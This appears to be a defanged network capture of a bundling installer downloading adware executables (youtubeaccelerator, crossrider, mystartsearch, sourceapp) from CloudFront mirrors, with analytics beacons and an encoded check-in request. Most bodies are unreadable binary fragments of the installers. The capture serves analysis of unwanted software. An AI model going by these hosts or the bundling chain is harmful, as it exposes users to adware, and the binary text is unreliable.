.n.....6b.p....^4.....^.A./.......~5..z..~..UO.......iH.6..%....... .1
...{o..f$U>.]Y7.Xh|..![.............<......P9)..Q,..B.t.....f{..
t[...'.....&..VJ. ..9T!XH......&y.=.....O...4...Z....S..g..E/D.I%o....
PBL.........`.0..9I....&....d.....^... ....|Q....Qn..e"\.2.o.7_..A
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1286683
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT
Accept-Ranges: bytes
ETag: "639a3946a47d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:56:56 GMT
Content-Range: bytes 0-1286682/1286683
X-Cache: Miss from cloudfront
Via: 1.1 e89c67951b2bc58773e3664c08702f34.cloudfront.net (CloudFront)
X-Amz-Cf-Id: YROjhR6nmu2B2l5qWPtgTjp9T1qkKnsd7nby79y5erUZOKuXcV3EsQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=71390-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 214168
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 71390-285557/285558
Age: 149
X-Cache: Hit from cloudfront
Via: 1.1 69ae15d1338b64299d3942a44fc1fb96.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Xm-lbaoFgCcEu-XDaidl-D47ODMMX7yxL0P5EajWFVwRJDU1CpUk8A==
..IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.L
.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!..
._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..a
G.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:.
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b.......
IO[[email protected].....].<.........g.mG.
.as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<...
...8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O;
...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O....
0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%i
~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...o
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.if
.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!..
cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:C
p.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...=
.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...Z
y.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq.
zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A....
xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h.
C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@.
n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3G
..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.x
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=555240-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:57:01 GMT
Content-Type: application/octet-stream
Content-Length: 555236
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 555240-1110475/1110476
.F..j....;^I..#........h.6tp..O..K.eT5.dFi.......(.S..m.a.Y....<...
.G...............M.f8....,............F.QM.C...TiJ..;.X{...8....d0.G..
.D]I<....z......tv.x.^B.T9=..c.N ..........F...%.....a.......d..;.s
qPp..\....'...../f..7..J_.^.f... 7.>.ET"....#.k#o.!.3gj.=wr...gBj&l
t;.!.5@Qa ?F......0..............f..K...w{...h.=U..u.{.m....7...yb.\YZ
..ta.cd......t-...;.?.....t....v........MP......|.....i..L2...".:H....
....U..}...d..|Q.jf^...(.Mf......\....E G7.........."32...f..%\.4U... 
.N:....... ...B....%[email protected].,.y.....)..[S.6.5.|Jd;/.._m..s..... ...
FN.........a...<......3. ...$,......M.H8.....~u......vM[..H...{i...
R....N......%.".J.F..1(h?..U...,..(%......V......>........y...}.q.:
!.0..w..Q?C.%Eo...w......R^.v........`..&W..*.,....g.......a..Q...$.r)
..2c....|?.3.[..>l....8hq.L...B..W.I..56 ......}f&...^.|..Uk.4...A.
P.. `f..y&m....t... .Ej....V.}...hs........c.....m.`h....3.3..H[N...$:
.q......).0....b.i.C..T$Z.V......}....T$..o(.Z(#[email protected][.
.C?.....}T{ ...$..n9....*.H.<...3..........z..!.....V........A..9..
..........m.]. .?..~.....[.u!DC...8.jZ..k.G...|.o..d....(....(.. .....
...oa^.5[........|3.j.1..C..'..._g.... ..j.!T.....T..M/p.n..W..7R..Ru.
e....i..F".....h.......t...v....p3.gom|...........i-......&.^|ilN..N.b
.[..&5...z.SY'.7.0.M'@.k..E..Y...2)....blt..~...c...<#JIr..uR.../..
dvGr.[.e...nT..>:B.;.!.......m..>.r.U......}.r..d.P.......H`..(.
i...........`.,p%.gQj..p..S. ....4O2...s.{..R..Wc..v.#...v..Te!...r.."
./..<.....oR*1...c..Y..v.....,^......E.....4a%.q.. .kk...pH....
<<< skipped >>>


GET /pagead/conversion.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.googleadservices.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"
Content-Type: text/javascript; charset=UTF-8
ETag: 4876301562966458403
Date: Fri, 13 Feb 2015 20:22:29 GMT
Expires: Sat, 14 Feb 2015 20:22:29 GMT
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename="f.txt"
Content-Encoding: gzip
Server: cafe
Content-Length: 4019
X-XSS-Protection: 1; mode=block
Alternate-Protocol: 80:quic,p=0.08
Cache-Control: public, max-age=86400
Age: 27411
...........Z.r.......PS.1b(..3..aU..8g.;'q&g..u.$D2.H.II.-..v....g.j.\
..h4.@_....W...q...5O:s..A.....U........n.s.....d.1.B.x....4...l.....D
d.$".......Br..m.<.STc..Y.s.Y.5K..3...0.T`.4.|."[email protected]...&..\.-.V
.[$.(.d.".2..#.... ...V..2...T/(..Iv.!=..".v......(a.>..R..../.m..7
..I%.U)T.<..0.......:.$.....h...*..Jq.;y.a...)....p..w.........H...
.8.....u8}dD>O/7..|..)....l.X.....|..tW.TM...40.X6.......{..Q.1H3..
d......5.....;.....Mp...Q........xX.i.'66u?p]....e".....G....f|..rc#..
 ..G.a..}.x&.[n,....z.D.l.....q(...LlF.Z.q|.y...P..UG..=uz=...1....l. 
.HG.....awM.k....l.xD7..j..............n.W...P....e..X.k.4.V.......pE.
...me..Jw;....`N....s......'..=.yV.. .....n....z.'.1W.6l...1|E..3.7...
.?.]F.{ ..my..F.....8...Zm....X."y...H.C.....N...D..=#D....4......?/!.
\.Wr....?..U..._%.X..2....g0.l..{..............H..Th..R..l]..8%.......
....s9..n.......F(^$E.r...I.c.z...3..Q..u..4H..cm.......vM.....a...M..
.6Y...3{......wa..d....k.....]...lC...vOa..9........77.....e.L.x...b..
W..a.t.R;...#....o.4...f..%.8..PD{..u......y.......m..L...=......Er...
s<.w..|/ah.).l9tA.........f..<:..3.H8...F..!X.......,.{P.".... .
.W..h&.T.1..n...'./r..<\.T..%.7......G.v..._....\;..TR.a.{%~-0..U..
.f....u..<.tM..q:v..X.R..o..........X.G..3A.....G.pp....$N......Z..
..^.(..TeG......./..P....}n.......<[email protected] ...Z.....U.)..k.
....g...E.& .....A....AA.'.....HG<.....M..wmt...T...[&.2.HK.*.....6
..k..........#.._;.Z....h6wn;.2.....7.fP.@.. .l-....JB".<$..d..Ol.b
.. I3...[..(X.E...U.c...h..'...H...`.E..A....t.2..m. ;U.C..<l..
<<< skipped >>>

GET /pagead/conversion/971163981/?random=1423886361816&cv=7&fst=1423886361816&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1683&u_ah=857&u_aw=1683&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1 HTTP/1.1


Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.googleadservices.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 302 Found
P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"
Date: Sat, 14 Feb 2015 03:59:21 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Location: hXXp://googleads.g.doubleclick.net/pagead/viewthroughconversion/971163981/?random=1565741329&cv=7&fst=1423886361816&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1683&u_ah=857&u_aw=1683&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0
Content-Type: image/gif
X-Content-Type-Options: nosniff
Server: cafe
Content-Length: 42
X-XSS-Protection: 1; mode=block
Alternate-Protocol: 80:quic,p=0.08
GIF89a.............!.......,...........D.;HTTP/1.1 302 Found..P3P: pol
icyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV P
SA PSD IVA IVD OTP OUR OTR IND OTC"..Date: Sat, 14 Feb 2015 03:59:21 G
MT..Pragma: no-cache..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Co
ntrol: no-cache, must-revalidate..Location: hXXp://googleads.g.doublec
lick.net/pagead/viewthroughconversion/971163981/?random=1565741329&cv=
7&fst=1423886361816&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl
=en&guid=ON&u_h=901&u_w=1683&u_ah=857&u_aw=1683&u_cd=24&u_his=1&u_tz=1
20&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccel
erator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0%
2Caad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NO
NE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected
=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&vis=1&ctc_id=C
AIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0..Content-Type: i
mage/gif..X-Content-Type-Options: nosniff..Server: cafe..Content-Lengt
h: 42..X-XSS-Protection: 1; mode=block..Alternate-Protocol: 80:quic,p=
0.08..GIF89a.............!.......,...........D.;..
<<< skipped >>>


GET /ga.js HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sat, 14 Feb 2015 03:05:09 GMT
Expires: Sat, 14 Feb 2015 05:05:09 GMT
Last-Modified: Thu, 05 Feb 2015 17:35:24 GMT
X-Content-Type-Options: nosniff
Content-Type: text/javascript
Vary: Accept-Encoding
Content-Encoding: gzip
Server: Golfe2
Content-Length: 16065
Age: 3107
Alternate-Protocol: 80:quic,p=0.08
Cache-Control: public, max-age=7200
...........}.W...........>)B..&.Y.( (...s\.......t.........:......w
..T...]..T~2.........9\.2.=......{..A..{..dx.K..vz/..G:.....q*b..Go.[q
....Rh..z:..V.x.})...P..aoQ...n_.a4....&..a.....Siz.JC.... ..z..J{. C/
...CO\AP]..N..>..d..=1...?..5&.j......f{."........e.....K.g......}.
...6.S.>J...a. /$....B..W...Sh9.jw..a?..~..w.q9....!9.t.=.....$m.,.
X.O,....u$.,cH.......:...X....../.......'n!..] ..T... b.=.........X..c
.m.w......]..G#3..$......(....~.:..G.....{r.....`......S.CHA..J....J.N
...,V.2.5.YZ2..,..._rb.D.Tv.2.P<....{.O..{N...~;^.,.ryy.........c..
,y^..n..Y.A^.....B.P><x P'...A..y..To;[email protected]..
.l.. ..2...._..!.l..V.N..0.....K?..Uy...b....t........${q.....c..B....
.:&.b.FO.... ...r1jd....&q8......az.....S.&.....y(.|.......:=..txo....
..f......Dwa=..........a...oB...Q.q......=J5 ..,...KK1t.,.T.K.^^.|..,.
.$.&.|..e>...Ux...).=:l.R..*.zF<[email protected] .:...G
[email protected].?.... ....V=.......$.ad.0.......`.KM..y..$X..m\i....</Ovl;.
...Ij.[Ze;.H.R.......Y.^.G....6...Y...!D8..O&.^..k...*......N)%......(
....xV...D*a....(%..P.... .!4...p...m....}.[7.|.6_.|g/...BKC.....[.../
5.2M......S....q..oaX.l......NX.n...Lcj....*.....r0%[<..aZ.J..N.v..
s...........A\.f... Y..N...o.R..5.....ok.fea.A...gy !W,..S9l......Ika.
bWo.Q.....T)/.-l1.....3...T...x...).'@@H.F.... Is.....gbs ......U.....
=....u.Vhv(.i..z..`^..8.W... ...8...u.X..-.q...Db.p..V.N.......-LB....
.a...cD'.%..R).....Ym5..%[email protected] .:.B...Om.....U..k.>.......
..P. G.!SI.!(q.k6m..sxWg..uM]1..;.W.=.....b.)J.V[..4. ..Z>..E1.
<<< skipped >>>

GET /r/__utm.gif?utmwv=5.6.3&utms=1&utmn=1330437739&utmhn=bi.bisrv.com&utmhid=934154437&utmr=-&utmp=Installer_Init&utmht=1423886223463&utmac=UA-31676879-1&utmcc=__utma=1.833397082.1423886223.1423886223.1423886223.1;+__utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=15135696&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Date: Sat, 14 Feb 2015 03:56:56 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Server: Golfe2
Content-Length: 35
Alternate-Protocol: 80:quic,p=0.08
GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Sat, 14 Feb 2015 03:56:56 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.08..GIF89a.......
......,...........D..;..



GET /r/__utm.gif?utmwv=5.6.3&utms=1&utmn=406695088&utmhn=installer.filebulldog.com&utmhid=311055109&utmr=-&utmp=Installer_Init&utmht=1423886294933&utmac=UA-31676879-1&utmcc=__utma=1.1353110465.1423886295.1423886295.1423886295.1;+__utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=199995249&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Date: Sat, 14 Feb 2015 03:58:15 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Server: Golfe2
Content-Length: 35
Alternate-Protocol: 80:quic,p=0.08
GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Sat, 14 Feb 2015 03:58:15 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.08..GIF89a.......
......,...........D..;..



GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321632
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-321631/321632
Age: 477
X-Cache: Hit from cloudfront
Via: 1.1 69ae15d1338b64299d3942a44fc1fb96.cloudfront.net (CloudFront)
X-Amz-Cf-Id: SGGupzXUpoUEOJYxTkM-uBieEq6gCq4hamVHLt439mBf8pDZVWZWCA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................V...F....UC...~.
.F.P.et....y..N.Q..t......E....P#C.t.V..t.......^]...........U......}.
.VWt.j.j.......A.#A........t5..a.....E.P.M..E..RC...o..h..C..M.Q.u..}.
.E..VC..F.....t5.oa...U.R.M....E..RC...n..h..C..E.P.u..}..E..VC.......
:a...M.Q.M....E..RC...n..h..C..U.R.u..}..E..VC.............U..Q.H0V.1j
[email protected]....^..]................U..VW.}.W....n...
..VC..G..F..O._.N....VC...^]...U..VW.}.W....n.....VC..G..F..O._.N...^]
..............Q..D.8..t......B...........U..j.h..C.d.....PQSVW.t.C.3.P
.E.d......u.3..M..F......N....]..M..E........w9.F....r.j.j.....:......
...Q .......]..~..r.....................we.F....r.j.j.....:.........Q 
..Q....]......9~.r...........?....H.9~.r.............(................
.........w~.F....r.j.j....3:.........Q ...-...]......9~.r.........
<<< skipped >>>


GET /sponsored/sourceapp/eula-sourceapp.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d4ekdi381yoqv.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 08 Feb 2015 05:01:02 GMT
Last-Modified: Sun, 02 Nov 2014 08:13:44 GMT
Expires: Sun, 08 Feb 2015 05:11:02 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 1617f8bb348c173b7002e26d4d35f91a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: eMMOuZOhqLGzd1PMVIdNu-Cl1qhCDoXq1SepCHFIBTW8sUa1angPrw==
36ec.............}.r....sU..C..cLE."U.m[. ."A.6I...d..#.$IT.H..Q......
....Yk.}....|..vtGQ@..........=...>^....tR\].=...{.....?9>>..
..z?.8/^..,..r........../.....j...........zqw<....X..c..p...h......
....t2[.~.0.~......lU..|....jU...r..V..[.n......a.z.T..q^.~oU}^...K~..
M=z....7.zR/^......;~4-.w.......p?^U..y9.^..z1-'..........O_...N......
.u...............wz%'b ..p..a9............)?-..an....^....r.....5s~:.g
..N......;...o.....G..c....5.x...j=)...a.....i_....v..-./......n_./...
w......E..?h..w........=.|h..........t..Y....A..{.....O....A.{.?(>.
....x'...x.e.....z-~..}P.......>..........>>.\`..3|......6..k
.;.....o.;.......Q....8~....dS-....U..V..xV.....=...8..|<.f..h.-.jZ
.V........(.EU...H..,..zV....E.^/.Uk>...b........A..P.....[/1....L.
;...#M.kL..0.5&.,.......X.......c.X._xw1.OA.#.......%.mR.6..TeS.Y..\..
.]=p.6...s....^...;.....?U...u...|9.X.W...r.X\...../.?....b^/JN.?[T...
.. |..j3..r...r<)o.....IBf.},......>....<.0..#-.s.._U.0..x9..
....d=....\.....r6...... l..g.....N.........k.....^d.....\...XK|...pF8
...Jk......ZL.9......Z....|.....r...N....' <..,k..A.H.h...CQ......j
t.....C./[email protected]...$<y..
.... ....|X.....Z.w...2H.c..4...).......... l3F.o3.,....qVc...Z.SmP...
.02&.....Y.j...s.bR...(.. ...;..K.lb(g.z.Z.G.a....`>...1......K2...
/.hg.....9e...H.gU.Zc.,z......2f.........7..R.AYX.'.....`.I...B..4p...
....x..@.\..5U..x.......*..z.=r.6.'.s\H.9.!.N.;......g....gq.O.. .Y...
...[.X%........ L.........9..E..............`.I1.F.......0|.h...".
<<< skipped >>>


GET /mg?alpha=flMqVS5hHR8jOXguBX8hQRpoRisgQC5pbgVed1JwK1cHA2s9bH0uQgljQid4Kk0yCVt/IllTbmVdZng8ewJLU15mUWs/Ky0LTVl6FAAFbyE8TywEcmhWfzQuCD0oCjJ4AnZeKysvKj5AfBE2U38iRS8AUn4zHRRhIQg7CH0qEAsEVRBRYkwoJQo6WnlwWV47JjhKOlk0ZVVpfHBbMClPfiQvHBIH HTTP/1.1
Connection: Keep-Alive
User-Agent: WinHttpClient
Host: install.sourceapp.info



plz9kR030ytcxOIT7g5MJU8iD4AkQn8JB2IFIpAU5IutDhKjka2ZRnpWe8PD58IoTZUzSL
dIwe3cbk9AfV2y2sZiGK6ClbIS7tnUJ0xjQh8xmPJfk3fEdkIMYp5yWZs4S3 fRveFeAhG
aUazhMJowa/PBCDEPQYAvU3szICzEn8ew sZrgLZY8DpntTn0HzO33dbt9ETccU8zE7wkv
LYzr7H/d4G5sL4GRItwzNFAjPXbQ4XsobrVYLoXS1PlCTXvprDocrr1xpyRvyPw3GQfMpa
99omDAO zbWA1qGDNhpbKlbrDYll0SwYki8HdY6MLoOvD1dzg3dKC2sZ6QvHN187WwYk2i
6Ilz4V6FgTIcMvTFO80SaXU3dCaUAEMNdiDs67VvgdQSLQoxsVrZZmAgZgQv e1fBDuQXG
rxxgCse3E qJAWPa7hSIstWum1avQylNGTKTtJvT9hfvzIZxl3NJDqoCvJjB4xD4Dddshf
RA0DPAqo4Uc1cuwAcrHCrZgmLQ w8Ucs14lIi2UC4ax3JT5kWQfgvlihc0gntdkKIY8Fra
q4K XIconuVZFW3FNUVMLEkpytA3BD1IgurZr8lHPV23XAClHSgH2zBZZRHH6QMvyky 2X
TeQyHX6l2DstC3W1WoBTzNlKQUq5hF/Ee2hYJjhO3PWTYEvQRTON7oyYehQjucRmZYpofd
MRPrU1Xlg66fyjJbNZ5SZ9f7Ccc3UHabDr7H/d4G5sL4GhDshjWRFaZFac8T5UFox0K y/
neEWFCPxnG58l7lxI5mqfLBPRHbApeo03mEdF0A/qJxfMWvRUT6gX8nsfjXueTk6hCccIG
LsCoCpb1hDdKDu3fLg5BshG5EI3syeDH27ZGZxmVoBN5H8 jXvbZlnWM Q5HYgUxn10rVW
0cRCOQqF5XrctwwoZiEXoN0fVEq1WCLZntS88yF7haA65b7Eda48Drm9TgAj9f3vcac1lX
tdfvzIZxl3NJDqkAfd3HNwdtn9OtgaOHU6EA/BjA4tGrVYaoGWzaEiLYsNNPNgr9g5h2VH
qNB2 BLIvfdxi3H5w7yrsOhzFWdtURIIM5GYNkFOUaEmgEs0IMLEyvDBcygrgGAKFSZ9qJ
chE/D4/km6nXjaPFep4Xp8YtBNzwmiYMELGEel4Ws9W2G17tRzyQgmSUqcvAb0OzgpAzwG
